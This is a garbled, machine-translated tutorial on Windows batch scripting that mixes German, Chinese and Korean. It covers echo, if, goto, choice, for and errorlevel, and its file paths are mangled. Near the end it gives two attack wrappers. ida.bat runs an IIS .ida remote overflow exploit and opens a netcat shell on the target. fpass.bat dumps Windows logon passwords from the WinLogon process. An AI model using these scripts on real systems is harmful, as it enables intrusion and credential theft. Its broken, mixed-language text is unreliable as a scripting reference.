Heim  >  Artikel  >  Backend-Entwicklung  >  c# ruft den Implementierungscode der .bat-Datei auf

c# ruft den Implementierungscode der .bat-Datei auf

黄舟
黄舟Original
2016-12-22 13:53:231770Durchsuche

c# .bat-Datei aufrufen
Namespace verwenden: using System.Diagnostics;
System.Diagnostics.Process.Start(Server.MapPath("ah.bat"));
==== ============================================== = ==============
Eine Datei mit der Erweiterung bat (oder cmd unter nt/2000/xp/2003) ist eine Batchdatei
Erste Batchverarbeitung. Die Datei ist eine Jede Zeile dieser Datei ist ein DOS-Befehl (meistens ist es wie die Befehlszeile, die wir an der DOS-Eingabeaufforderung ausführen) oder ein anderes Textdateibearbeitungstool zum Erstellen und Ändern von Batchdateien.
Zweitens ist eine Batchdatei ein einfaches Programm, das den Ablauf der Befehlsausführung durch bedingte Anweisungen (if) und Prozesssteuerungsanweisungen (goto) steuern kann. Bei der Stapelverarbeitung können Schleifenanweisungen (for) auch zum Ausführen einer Schleife verwendet werden ein Befehl. Natürlich sind die Programmierfunktionen von Batchdateien im Vergleich zu Programmieranweisungen wie der C-Sprache sehr begrenzt und sehr unstandardmäßig. Die Programmanweisungen der Stapelverarbeitung sind DOS-Befehle nacheinander (einschließlich interner und externer Befehle), und die Fähigkeit der Stapelverarbeitung hängt hauptsächlich von den von Ihnen verwendeten Befehlen ab.
Drittens entspricht jede geschriebene Batchdatei einem externen DOS-Befehl. Sie können das Verzeichnis, in dem sie sich befindet, in Ihren DOS-Suchpfad (Pfad) einfügen, sodass sie überall ausgeführt werden kann. Eine gute Angewohnheit besteht darin, ein Bat- oder Batch-Verzeichnis auf der Festplatte zu erstellen (z. B. C: BATCH) und dann alle Batch-Dateien, die Sie schreiben, in diesem Verzeichnis abzulegen, sodass c: Batch im Pfad festgelegt ist können Sie jedes Batch-Programm, das Sie schreiben, überall ausführen.
Viertens ist die Batchdatei AUTOEXEC.BAT im Stammverzeichnis des Laufwerks C: eine automatisch ausgeführte Batchdatei. Diese Datei wird bei jedem Systemstart automatisch ausgeführt Das System fügt die Befehle, die bei jedem Start ausgeführt werden müssen, in diese Datei ein, z. B. das Festlegen des Suchpfads, das Laden des Maustreibers und des Festplattencaches, das Festlegen von Systemumgebungsvariablen usw. Das Folgende ist ein Beispiel für die Ausführung von autoexec.bat unter Windows 98:
@ECHO OFF
PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C : BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:TEMP
SET TMP=D:TEMP
Stapelverarbeitung Die Funktion von
Einfach ausgedrückt besteht die Funktion der Stapelverarbeitung darin, mehrere Befehle automatisch kontinuierlich auszuführen.
Hier ist die einfachste Anwendung: Beim Starten der WPS-Software muss sie jedes Mal ausgeführt werden (>Der vorherige Inhalt stellt die DOS-Eingabeaufforderung dar):
C:>cd wps
C:WPS>
C:WPS>py
C:WPS>wbx
C:WPS>wps
Wäre es für Sie problematisch, wenn Sie dies jedes Mal ausführen würden, bevor Sie WPS verwenden?
Okay, mithilfe der Stapelverarbeitung können Sie diese mühsamen Vorgänge vereinfachen. Zuerst schreiben wir eine runwps.bat-Batchdatei mit dem folgenden Inhalt:
@echo off
c:
cdwps
spdos
py
wbx
wps
cd
In Zukunft müssen wir jedes Mal, wenn wir wps eingeben, nur noch die Runwps-Batchdatei ausführen.
Häufig verwendete Befehle
echo, @, call, pause, rem (Tipp: Verwenden Sie :: anstelle von rem) sind die am häufigsten verwendeten Befehle für Batchdateien.
echo bedeutet, dass die Zeichen nach diesem Befehl angezeigt werden.
echo off bedeutet, dass alle Befehle, die nach dieser Anweisung ausgeführt werden, nicht die Befehlszeile selbst anzeigen.
@ ähnelt echo off, wird jedoch zu jeder Befehlszeile hinzugefügt vorne, was darauf hinweist, dass die Befehlszeile dieser Zeile beim Ausführen nicht angezeigt wird (sie kann sich nur auf die aktuelle Zeile auswirken).
call ruft eine andere Batchdatei auf (wenn Sie eine andere Batchdatei direkt aufrufen, ohne sie aufzurufen, können Sie nach der Ausführung dieser Batchdatei nicht zur aktuellen Datei zurückkehren und nachfolgende Befehle der aktuellen Datei ausführen).
Pause Wenn Sie diesen Satz ausführen, wird die Ausführung des Stapels angehalten und die Eingabeaufforderung „Drücken Sie eine beliebige Taste, um fortzufahren...“ auf dem Bildschirm angezeigt, während Sie darauf warten, dass der Benutzer eine beliebige Taste drückt, um fortzufahren.
rem bedeutet, dass die folgenden Zeichen angezeigt werden Bei diesem Befehl handelt es sich um Erläuterungszeilen (Kommentare), die nicht ausgeführt werden, sondern lediglich zur späteren Bezugnahme dienen (entspricht Kommentaren im Programm).
Beispiel 1: Bearbeiten Sie die Datei a.bat mit edit, geben Sie den folgenden Inhalt ein und speichern Sie ihn als c:a.bat. Nach dem Ausführen dieser Batchdatei können Sie alle Dateien im Stammverzeichnis in a.txt schreiben und starten Sie UCDOS, geben Sie WPS und andere Funktionen ein.
Der Inhalt der Batchdatei ist: Befehlskommentar:
@echo off Zeigt die nachfolgende Befehlszeile und die aktuelle Befehlszeile nicht an
dir c:*.* >a.txt Schreiben Sie die Dateiliste von Laufwerk c zu einer .txt-Datei
c:ucdosucdos.bat aufrufen, ucdos aufrufen
echo hello „Hallo“ anzeigen
pausieren, pausieren und auf die Taste warten, um fortzufahren
rem für die Ausführung von wps vorbereiten 🎜>cd ucdos Geben Sie das ucdos-Verzeichnis ein
wps Führen Sie wps aus
Parameter der Batchdatei
Batchdateien können auch Parameter wie C-Sprachfunktionen verwenden (entspricht den Befehlszeilenparametern von DOS-Befehlen), was die Verwendung von erfordert Ein Parameterindikator „%“.
%[1-9] stellt Parameter dar. Parameter beziehen sich auf durch Leerzeichen (oder Tabulatoren) getrennte Zeichenfolgen, die beim Ausführen der Batchdatei nach dem Dateinamen hinzugefügt werden. Variablen können im Bereich von %0 bis %9 liegen, %0 stellt den Batch-Befehl selbst dar und andere Parameterzeichenfolgen werden in der Reihenfolge von %1 bis %9 dargestellt.
Beispiel 2: Es gibt eine Stapelverarbeitungsdatei mit dem Namen f.bat im Stammverzeichnis von C:. Der Inhalt ist:
@echo off
format %1
Wenn Sie C:> f a:
Wenn dann f.bat ausgeführt wird, bedeutet %1 a:, also entspricht das Format %1 dem Format a:. Wenn also der obige Befehl ausgeführt wird, ist die tatsächliche Ausführung format a:
Beispiel 3: C: im Stammverzeichnis. Der Name der Batchdatei lautet t.bat und der Inhalt lautet:
@echo off
Typ %1
Typ %2
Führen Sie dann C:>t a aus. txt b.txt
%1: steht für a.txt
%2: steht für b.txt
, sodass der obige Befehl den Inhalt der Dateien a.txt und b.txt nacheinander anzeigt.
Spezielle Befehle
wenn goto choice for ein relativ fortgeschrittener Befehl in Batch-Dateien ist. Wenn Sie diese Befehle beherrschen, sind Sie ein Experte für Batch-Dateien.
1. If ist eine bedingte Anweisung, mit der ermittelt wird, ob die angegebenen Bedingungen erfüllt sind, und so über die Ausführung verschiedener Befehle entschieden wird. Es gibt drei Formate:
1. if [not] "parameter" == "string" auszuführender Befehl
Wenn der Parameter gleich der angegebenen Zeichenfolge ist (nicht bedeutet ungleich, dasselbe unten), dann wird der Bedingung ist wahr. Führen Sie den Befehl aus, andernfalls führen Sie den nächsten Satz aus.
Beispiel: wenn „%1“=="a" Format a:
2. wenn [nicht] existiert [Pfad] auszuführender Dateiname
Wenn eine angegebene Datei vorhanden ist, lautet die Bedingung true, Führen Sie den Befehl aus, andernfalls führen Sie den nächsten Satz aus.
Zum Beispiel: Wenn c:config.sys vorhanden ist, geben Sie c:config.sys ein.
bedeutet, dass der Inhalt angezeigt wird, wenn die Datei c:config.sys vorhanden ist.
3. if errorlevel c8f01a3f8889dcf657849dd45bc0fc4c Befehl, der ausgeführt werden soll
Viele DOS-Programme geben nach der Ausführung einen numerischen Wert zurück, um das Ergebnis (oder den Status) des Programms anzuzeigen Der Rückgabewert bestimmt, unterschiedliche Befehle basierend auf unterschiedlichen Rückgabewerten auszuführen (die Rückgabewerte müssen in der Reihenfolge vom größten zum kleinsten angeordnet sein). Wenn der Rückgabewert der angegebenen Zahl entspricht, ist die Bedingung wahr und der Befehl wird ausgeführt, andernfalls wird der nächste Satz ausgeführt.
Zum Beispiel, wenn Fehlerstufe 2 goto x2
2. Wenn die Goto-Batchdatei hier ausgeführt wird, springt sie zu der durch goto angegebenen Bezeichnung (die Bezeichnung ist label, und die Bezeichnung ist definiert mit: gefolgt von a Die goto-Anweisung entspricht im Allgemeinen der Verwendung von if, um verschiedene Befehlsgruppen basierend auf unterschiedlichen Bedingungen auszuführen.
Zum Beispiel:
goto end
:end
echo this is the end
Das Label ist mit „:string“ definiert und die Zeile, in der sich das Label befindet, wird nicht ausgeführt.
3. Wahl Verwenden Sie diesen Befehl, um dem Benutzer die Eingabe eines Zeichens (zur Auswahl) zu ermöglichen und dadurch je nach Wahl des Benutzers unterschiedliche Fehlerstufen zurückzugeben, und arbeiten Sie dann mit if errorlevel zusammen, um je nach Wahl des Benutzers unterschiedliche Befehle auszuführen.
Hinweis: Der Befehl „choice“ ist ein externer Befehl, der von DOS- oder Windows-Systemen bereitgestellt wird. Die Syntax des Befehls „choice“ unterscheidet sich in verschiedenen Versionen. Bitte verwenden Sie „choice /?“, um die Verwendung zu überprüfen.
Choice-Befehlssyntax (diese Syntax ist die Syntax des Choice-Befehls in Windows 2003, und die Befehlssyntax anderer Versionen von Choice ähnelt dieser):
CHOICE [/C choice] [/N] [/ CS] [/ T timeout /D choice] [/M text]
Beschreibung:
Mit diesem Tool kann der Benutzer ein Element aus einer Auswahlliste auswählen und den Index des ausgewählten Elements zurückgeben.
Parameterliste:
/C choice gibt die zu erstellende Auswahlliste an. Die Standardliste ist „YN“.
/N Blendet die Optionsliste in der Eingabeaufforderung aus. Die vorherige Meldung wird angezeigt und die Option
ist weiterhin aktiviert.
/CS ermöglicht die Auswahl unter Berücksichtigung der Groß- und Kleinschreibung. Standardmäßig berücksichtigt dieses Tool
die Groß-/Kleinschreibung nicht.
/T-Timeout Die Anzahl der Sekunden, die pausiert werden müssen, bevor die Standardauswahl getroffen wird. Akzeptable Werte liegen zwischen 0
und 9999. Wenn 0 angegeben wird, gibt es keine Pause und die Standardoption
wird ausgewählt.
/D Wahl gibt die Standardoption nach nnnn Sekunden an. Das Zeichen muss in der Auswahlmenge enthalten sein, die mit der Option /C
angegeben wurde. Gleichzeitig muss nnnn mit /T angegeben werden.
/M-Text gibt die Nachricht an, die vor der Eingabeaufforderung angezeigt werden soll. Wenn nichts angegeben wird, zeigt das Tool nur
die Eingabeaufforderung an.
/? Hilfemeldung anzeigen.
Hinweis:
Die Umgebungsvariable ERRORLEVEL wird auf den aus dem Auswahlsatz ausgewählten Schlüsselindex gesetzt. Die erste aufgelistete Auswahl
gibt 1 zurück, die zweite Auswahl gibt 2 usw. zurück. Wenn die vom Benutzer gedrückte Taste keine gültige Auswahl ist,
gibt das Tool einen Warnton aus. Wenn das Tool eine Fehlerbedingung erkennt, gibt es einen
ERRORLEVEL-Wert von 255 zurück. Wenn der Benutzer Strg+Untb oder Strg+C drückt, gibt das Tool 0
zurückERRORLEVEL-Wert. Wenn Sie den Parameter ERRORLEVEL in einem Batch-Programm verwenden, sortieren Sie die Parameter in absteigender Reihenfolge
.
Beispiel:
AUSWAHL /?
AUSWAHL /C YNC /M „Drücken Sie Y zum Bestätigen, N zum Abbrechen oder C zum Abbrechen.“ y
CHOICE /C ab /M „Bitte wählen Sie a für Option 1 und wählen Sie b für Option 2.“
CHOICE /C ab /N /M „Bitte wählen Sie a für Option 1 und wählen Sie b für Option 2.“ „
Wenn ich den Befehl ausführe: CHOICE /C YNC /M „Drücken Sie Y zum Bestätigen, N zum Abbrechen oder C zum Abbrechen.“
Der Bildschirm zeigt:
Drücken Sie Y zum Bestätigen , NEIN. Bitte drücken Sie N, oder zum Abbrechen drücken Sie C. [Y,N,C]?
Beispiel: Der Inhalt von test.bat lautet wie folgt (beachten Sie, dass bei Verwendung von if errorlevel zur Beurteilung des Rückgabewerts dieser von hoch nach niedrig nach dem Rückgabewert angeordnet werden muss):
@echo off
choice /C dme /M "defrag,mem,end"
bei Fehlerstufe 3 gehe zu Ende
bei Fehlerstufe 2 gehe zu Mem
bei Errotstufe 1 gehe zu Defrag
:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye
Nachdem dieser Stapelprozess ausgeführt wurde, „defrag,mem ,end[D,M, E]?", kann der Benutzer d m e auswählen, und dann trifft die if-Anweisung eine Beurteilung basierend auf der Wahl des Benutzers. d bedeutet die Ausführung des Programmsegments mit der Bezeichnung defrag, m stellt die Ausführung des Programmsegments mit der Bezeichnung mem dar, und e stellt die Ausführung des Programmsegments mit der Bezeichnung „Ende“ dar. Am Ende jedes Programmsegments wird „goto end“ verwendet, um das Programm zur Endmarke zu springen. Anschließend zeigt das Programm „Auf Wiedersehen“ an und die Stapelverarbeitung endet.
4. Solange die Bedingungen erfüllt sind, wird derselbe Befehl mehrmals ausgeführt.
Syntax:
Führen Sie einen bestimmten Befehl für jede Datei in einer Reihe von Dateien aus.
FOR %%variable IN (set) DO command [command-parameters]
%%variable gibt einen Parameter an, der durch einen einzelnen Buchstaben ersetzt werden kann.
(set) gibt eine Datei oder eine Gruppe von Dateien an. Es können Platzhalterzeichen verwendet werden.
Befehl gibt den Befehl an, der für jede Datei ausgeführt werden soll.
Befehlsparameter
Geben Sie Parameter oder Befehlszeilenschalter für bestimmte Befehle an.
Zum Beispiel gibt es eine Zeile in einer Batch-Datei:
für %%c in (*.bat *.txt) geben Sie %%c ein
Die Befehlszeile zeigt alle Dateien an, die mit bat und enden txt im aktuellen Verzeichnis Der Inhalt der Datei mit der Erweiterung.
Stapelverarbeitungsbeispiel
1. IF-EXIST
1)
Erstellen Sie zunächst mit Notepad eine test1.bat-Batchdatei in C:. Der Inhalt der Datei lautet wie folgt:
@ Echo aus
IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT
IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT existiert nicht
Dann führen Sie es aus:
C:>TEST1.BAT
Wenn die Datei AUTOEXEC.BAT in C: vorhanden ist, wird ihr Inhalt angezeigt. Wenn sie nicht vorhanden ist, werden Sie vom Batch-Prozess darauf hingewiesen, dass die Datei nicht vorhanden ist.
2)
Dann erstellen Sie eine test2.bat-Datei mit folgendem Inhalt:
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO %1 existiert nicht
Ausführung:
C:>TEST2 AUTOEXEC.BAT
Die Ergebnisse dieses Befehls sind die gleichen wie oben.
Anweisungen:
(1) IF EXIST wird verwendet, um zu testen, ob die Datei vorhanden ist. Das Format ist
IF EXIST [Pfad + Dateiname] Befehl
(2) %1 in test2.bat Datei ist ein Parameter. Unter DOS können 9 Batch-Parameterinformationen an die Batch-Datei übergeben werden, nämlich %1~%9 (%0 stellt den test2-Befehl selbst dar). Dies ähnelt in etwa der Beziehung zwischen tatsächlichen Parametern und formalen Parametern in Programmierung. %1 ist der formale Parameter, AUTOEXEC.BAT ist der tatsächliche Parameter.
3) Erstellen Sie außerdem eine Datei mit dem Namen TEST3.BAT mit folgendem Inhalt:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2 " == „B“ ECHO TIAN
IF „%3“ == „C“ ECHO >TIAN
XIN
Wenn Sie Folgendes ausführen:
C:>TEST3 A B
Der Bildschirm zeigt
XIAO
TIAN
Während der Ausführung dieses Befehls wird DOS Zuweisen eine leere Zeichenfolge für Parameter %3.
2. IF-ERRORLEVEL
Erstellen Sie TEST4.BAT mit folgendem Inhalt:
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO-Dateikopie fehlgeschlagen
IF ERRORLEVEL 0 ECHO Kopieren Sie die Datei erfolgreich
Führen Sie dann die Datei aus:
C:>TEST4
Wenn die Datei erfolgreich kopiert wurde, wird auf dem Bildschirm „Datei erfolgreich kopiert“ angezeigt, andernfalls wird „Dateikopie fehlgeschlagen“ angezeigt. .
IF ERRORLEVEL wird verwendet, um den Rückgabewert des vorherigen DOS-Befehls zu testen. Beachten Sie, dass es sich nur um den Rückgabewert des vorherigen Befehls handelt und der Rückgabewert in der Reihenfolge vom größten zum kleinsten beurteilt werden muss.
Die folgende Batchdatei ist also falsch:
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:
IF ERRORLEVEL 0 ECHO Datei erfolgreich kopiert
IF ERRORLEVEL 1 ECHO Keine Kopie gefunden Datei
IF ERRORLEVEL 2 ECHO Der Benutzer bricht den Kopiervorgang über Strg-C ab
IF ERRORLEVEL 3 ECHO Der voreingestellte Fehler verhindert den Dateikopiervorgang
WENN ERRORLEVEL 4 ECHO Datenträgerschreibfehler während des Kopiervorgangs
Unabhängig davon, ob der Kopiervorgang erfolgreich war oder nicht, Folgendes:
Die kopierte Datei wurde nicht gefunden
Der Benutzer beendet den Kopiervorgang über Strg-C
Voreingestellter Fehler verhindert den Dateikopiervorgang
Fehler beim Schreiben auf die Festplatte
werden während des Kopiervorgangs angezeigt.
Im Folgenden sind die Rückgabewerte mehrerer gängiger Befehle und ihre Bedeutung aufgeführt:
backup
0 Sicherung erfolgreich
1 Sicherungsdatei nicht gefunden
2 Dateifreigabekonflikt verhindert den Abschluss der Sicherung
3 Der Benutzer bricht die Sicherung mit Strg-C ab
4 Der Sicherungsvorgang wurde aufgrund eines schwerwiegenden Fehlers abgebrochen
diskcomp
0 Die Datenträger werden identisch verglichen
1 Die Datenträger werden unterschiedlich verglichen
2 Der Benutzer bricht den Vergleichsvorgang mit Strg-C ab
3 Der Vergleichsvorgang wurde aufgrund eines schwerwiegenden Fehlers abgebrochen
4 Voreingestellter Fehler hat den Vergleich abgebrochen
diskcopy
0 Der Datenträgerkopiervorgang war erfolgreich
1 Nicht schwerwiegender Lese-/Schreibfehler auf der Festplatte
2 Der Benutzer hat Strg -c übergeben. Kopiervorgang beenden
3 Kopieren der Festplatte wurde aufgrund eines schwerwiegenden Verarbeitungsfehlers abgebrochen
4 Voreingestellter Fehler verhindert den Kopiervorgang
Formatieren
0 Formatierung erfolgreich
3 Benutzer bricht Formatierung über Strg-C-Formatierungsverarbeitung ab
4 Formatierung aufgrund schwerwiegenden Verarbeitungsfehlers abgebrochen
5 Bei der Eingabeaufforderung „Mit Formatierung fortfahren (j/n)“ gibt der Benutzer ein n zum Beenden
xcopy
0 Die Datei wurde erfolgreich kopiert
1 Kopierdatei nicht gefunden
2 Der Benutzer beendet den Kopiervorgang über Strg-C
4 Voreingestellter Fehler verhindert den Dateikopiervorgang
5 Fehler beim Schreiben auf die Festplatte während des Kopiervorgangs
3. IF STRING1 == STRING2
Erstellen Sie TEST5.BAT, der Dateiinhalt lautet wie folgt:
@echo off
IF "%1" == „A“ formAT A:
Execute:
C:>TEST5 A
Auf dem Bildschirm erscheint eine Meldung, die angibt, ob das Laufwerk A: formatiert werden soll.
Hinweis: Um zu verhindern, dass der Parameter leer ist, wird die Zeichenfolge im Allgemeinen in doppelte Anführungszeichen (oder andere Symbole) eingeschlossen. Bitte beachten Sie, dass reservierte Symbole nicht verwendet werden können.
Zum Beispiel: wenn [%1]==[A] oder wenn %1*==A*
5 GOTO
Erstellen Sie TEST6.BAT, der Dateiinhalt lautet wie folgt:
@. ECHO OFF
IF EXIST C:AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:AUTOEXEC.BAT D:
:_DONE
Hinweis:
(1 ) vor der Bezeichnung steht ein ASCII-Zeichen Doppelpunkt :, zwischen dem Doppelpunkt und der Bezeichnung darf kein Leerzeichen stehen.
(2) Die Benennungsregeln für Labels sind dieselben wie für Dateinamen.
(3) DOS unterstützt Etiketten mit einer maximalen Länge von acht Zeichen. Wenn zwei Etiketten nicht unterschieden werden können, wird zum nächsten Etikett gesprungen.
6. FOR
C:TEST7.BAT erstellen, der Dateiinhalt lautet wie folgt:
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
Ausführen:
C:>TEST7
Nach der Ausführung wird der Inhalt aller Dateien mit den Erweiterungen BAT, TXT und SYS im Stammverzeichnis des Laufwerks C: auf dem Bildschirm angezeigt (ausgenommen versteckte Dateien) .
__________________________________________________________________________________________________________
[Paket und Download]                                              logleg im Paket zum Herunterladen (Klicken Sie hier, um das Forum anzuzeigen)
------- ------------------- ----------------- ---------
bluekylin Veröffentlicht am: 24.11.2004 22:25 Uhr
Win2000-Befehlszeilen-Stapelverarbeitung BAT-Dateikenntnisse

————————— —————————————— ———————————————————
Artikelstruktur
1 -in-Befehle
2. Das Konzept der Umgebungsvariablen
3. Eingebaute Spezialsymbole (achten Sie darauf, sie während der tatsächlichen Verwendung zu vermeiden)
5 .txt
6. Anhang 2 sample.bat
######## ######################## ################### ###########
Hilfeinformationen für alle integrierten Befehle
# #################### ########################## ##############
ver
cmd /?
set /?
echo /?
goto /?
shift /? kopieren /?
____________________________________________________________________________
Im Folgenden wird die gesamte oben genannte Hilfe in eine Datei ausgegeben
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? > ;>tmp.txt
cmd /? >>tmp
echo rem /? >>tmp.txt
rem /? >>tmp.txt if /? >>tmp.txt
if /? >tmp.txt
echo goto /? >>tmp.txt
Echo für /?>>tmp.txt
für /?>>tmp.txt
Echoverschiebung /? >>tmp.txt 
shift /? >>tmp.txt 
echo call /? >>tmp.txt 
call /? >>tmp.txt 
Echotyp /? >>tmp.txt 
Typ /? >>tmp.txt 
echo find /? >>tmp.txt 
find /? >>tmp.txt 
echo findstr /? >>tmp.txt 
findstr /? >>tmp.txt 
echo copy /? >>tmp.txt 
kopieren /? >>tmp.txt 
tippen Sie tmp.txt 
______________________________________________________ 
########################### ####################################### 
2. 环境变量的概念 
######################################## ######################### 
_____________________________________________________________________________ 
C:Programme>set 
ALLUSERSPROFILE=C:Dokumente und EinstellungenAlle Benutzer 
CommonProgramFiles=C:Program FilesCommon Files 
COMPUTERNAME=FIRST 
ComSpec=C:WINNTsystem32cmd.exe 
NUMBER_OF_PROCESSORS=1 
OS=Windows_NT 
Os2LibPath=C:WINNTsystem32os2dll; 
Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM 
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86 
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel 
PROCESSOR_LEVEL=6 
PROCESSOR_REVISION=0605 
ProgramFiles=C:Program Files 
PROMPT=$P$G
SystemDrive=C: 
SystemRoot=C:WINNT 
TEMP=C:WINNTTEMP 
TMP=C:WINNTTEMP 
USERPROFILE=C:Documents and SettingsDefault User 
windir=C:WINNT
_____________________________________________________________________________ 
Pfad: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 
%windir%system32. 这个目录里面. 一般就可以自动搜索到. 
Fehler: mychenxu.exe %windir%system32 kopieren. 
使用点(.) 便于一目了然 
对环境变量的引用使用(英文模式,半角)双引号 
%windir% 变量 
%%windir%% 二次变量引用. 
我们常用的还有 
%temp% 临时文件目录 
%windir% 系统目录 
%errorlevel% 退出代码 
输出文件到临时文件目录里面.这样便于当前目录整洁. 
对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作 
C:>dir p* 
C: 的目录 
2000-09-02 11:47 2.164 PDOS. DEF 
1999-01-03 00:47 22a3afa6929a2c87025fe3045a234971 Programmdateien 
1 个文件 2.164 Seiten 
1 个目录 1.505.997.824 Seiten 
C:>cd pro* 
C:Program Files> 
C:> 
C:>cd „Programme“ 
C:Programme> 
############################################ ####################### 
3. 内置的特殊符号(实际使用中间注意避开) 
################################# ################################# 
微软里面内置了下列字符不能够在的文件名中间使用 
con nul aux / | || && ^ > 3142e8d9ba8aa5df6adf96d46d2fa28a, |, & oder ^ verwenden, müssen Sie ihnen das Escape-Zeichen (^) oder Anführungszeichen voranstellen. Wenn Sie Anführungszeichen verwenden, werden diese als Teil des Werts einbezogen, da alles, was auf das Gleichheitszeichen folgt, als Wert übernommen wird. Betrachten Sie die folgenden Beispiele: 
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了) 
Um den Variablenwert new&name zu erstellen, geben Sie Folgendes ein: 
setze varname=new^ &name 
Um den Variablenwert „new&name“ zu erstellen, geben Sie Folgendes ein: 
set varname="new&name" 
Das kaufmännische Und (&), der senkrechte Strich (|) und die Klammern ( ) sind Sonderzeichen, denen vorangestellt werden muss das Escape-Zeichen (^) oder Anführungszeichen, wenn Sie sie als Argumente übergeben. 
finden Sie „Pacific Rim“ 59d50416d161f4da227e812841509628 nwtrade.txt 
IF EXIST Dateiname. (del Dateiname.) ELSE echo Dateiname. fehlt 
> 创建一个文件 
>> 追加到一个文件后面 
@ 前缀字符🎜>^ 对特殊符号( > aafdbcef954529144cf96c6d88e52c07 aaa 
echo 1231231 > bbb 
() 包含命令 
(echo aa & echo bb) 
, 공백과 동일한 기본 구분 기호
: 레이블 기능
| 파이프라인 작업
& 사용법: 첫 번째 명령 및 두 번째 명령 [& 세 가지 명령 ...]
이 방법을 사용하면 명령의 성공 여부에 관계없이 동시에 여러 명령을 실행할 수 있습니다.
dir c:*.exe & dir d:*.exe & dir e :*.exe
&& 사용법: 첫 번째 명령 && 두 번째 명령 [&& 세 번째 명령...]
실행 오류가 있는 명령이 발생하면 다음 명령은 오류가 없으면 실행되지 않습니다. 모든 명령을 완료합니다.
|| 사용법: 첫 번째 명령 || 두 번째 명령 [|| 세 번째 명령...]
올바른 명령이 실행되면 다음 명령이 실행되지 않습니다. 올바른 명령이 나타나지 않으면 모든 명령이 실행됩니다.
공통 구문 형식
IF [NOT] ERRORLEVEL 숫자 명령 para1 para2
IF [NOT] string1==string2 명령 para1 para2
IF [ NOT] EXIST 파일 이름 명령 para1 para2
IF EXIST 파일 이름 명령 para1 para2
IF NOT EXIST 파일 이름 명령 para1 para2
IF "%1"=="" goto END
IF "% 1"== "net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 명령 para1 para2
IF NOT ERRORLEVEL 1 명령 para1 para2
FOR /L %%i IN (시작,단계,끝) DO 명령 [명령 매개변수] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i % j %k
알파벳 순서로 매개변수를 취하세요.
eol=c - 줄 끝 주석 문자를 나타냅니다(한 개만)
skip=n - 개수를 나타냅니다. 파일 시작 부분에서 행이 무시됩니다.
delims=xxx - 구분 기호 세트를 나타냅니다. 이는 공백과 탭에 대한 기본 구분 기호 세트를 대체합니다.
######################################## ## ###################
4. 단순 배치 파일 개념
############# #### ####################################### ######
echo는 test > a.txt입니다.
a.txt를 입력하세요.
echo는 test 11111입니다. >> a.txt
a.txt를 입력하세요.
echo 이것은 test 22222입니다. ; a.txt
a.txt를 입력하세요
두 번째 에코는 추가하는 것입니다.
세 번째 에코는 a.txt를 지우고 a.txt를 다시 만듭니다.
netstat -n | find "3389"
그러면 3389에 연결된 모든 사용자의 IP가 나열됩니다.
______________test.bat______________________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@ echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem은 주석문을 표시하지 않습니다. 이 줄은
@ rem은 주석문을 표시하지 않습니다. , 이 줄은
@ifexist%windir%system32find.exe(echo Find find.exe !!!) else(echo ERROR: Not find find.exe)
@ifexist%windir%system32fina를 표시하지 않습니다. exe (echo Find fina.exe!!!) else (echo ERROR: Not find fina.exe)
_____________________________________________________________________________
ida 원격 오버플로인 특정 idahack 프로그램을 예로 들어보겠습니다. 간단합니다.
_____ida.bat_______________________________________________
@rem 버전 1.0
@존재하지 않는 경우 %windir%system32idahack.exe echo "오류: idahack.exe를 찾지 마세요."
@존재하지 않는 경우 %windir% system32nc. exe echo "오류: nc.exe를 찾지 마세요"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
:start
@echo 이제 시작하세요...
@ping %1
@echo Chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@ echo "prog 종료 코드 [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "행운을 빌어요 :)" %temp%_tmp
@echo "prog 종료 코드 [ %errorlevel %] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp %_tmp
@type %temp%_tmp
@find "행운을 빌어요 :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
: 사용법
@echo 예: ida.bat IP
@echo 예: ida.bat IP (2,3)
:END
_____ida.bat__END_________________
두 번째 파일로 넘어가겠습니다.
대부분의 사람들이 알 수 없다고 합니다. 사실 정확한 정보를 입력하지 않았습니다.
___________fpass.bat______________________________
@rem ver 1.0
@if NOT 존재 %windir% system32findpass.exe echo "오류: findpass.exe를 찾지 마세요"
@if NOT 존재 %windir%system32pulist.exe echo "오류: pulist.exe를 찾지 마세요."
@echo start....
@echo ____________________________________
@if "%1"=="" goto 사용법
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "prog 종료 코드 [%errorlevel%] findpass.exe"
@type %temp% _findpass.txt
@echo ____________________________여기__pass★★★★★★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END
:USAGE
@pulist .exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON Explorer internat" %temp%_pass.txt
@echo "예: fpass.bat %1 %2 %3 %4 ! !!"
@echo "사용법: findpass.exe DomainName UserName PID-of-WinLogon"
:END
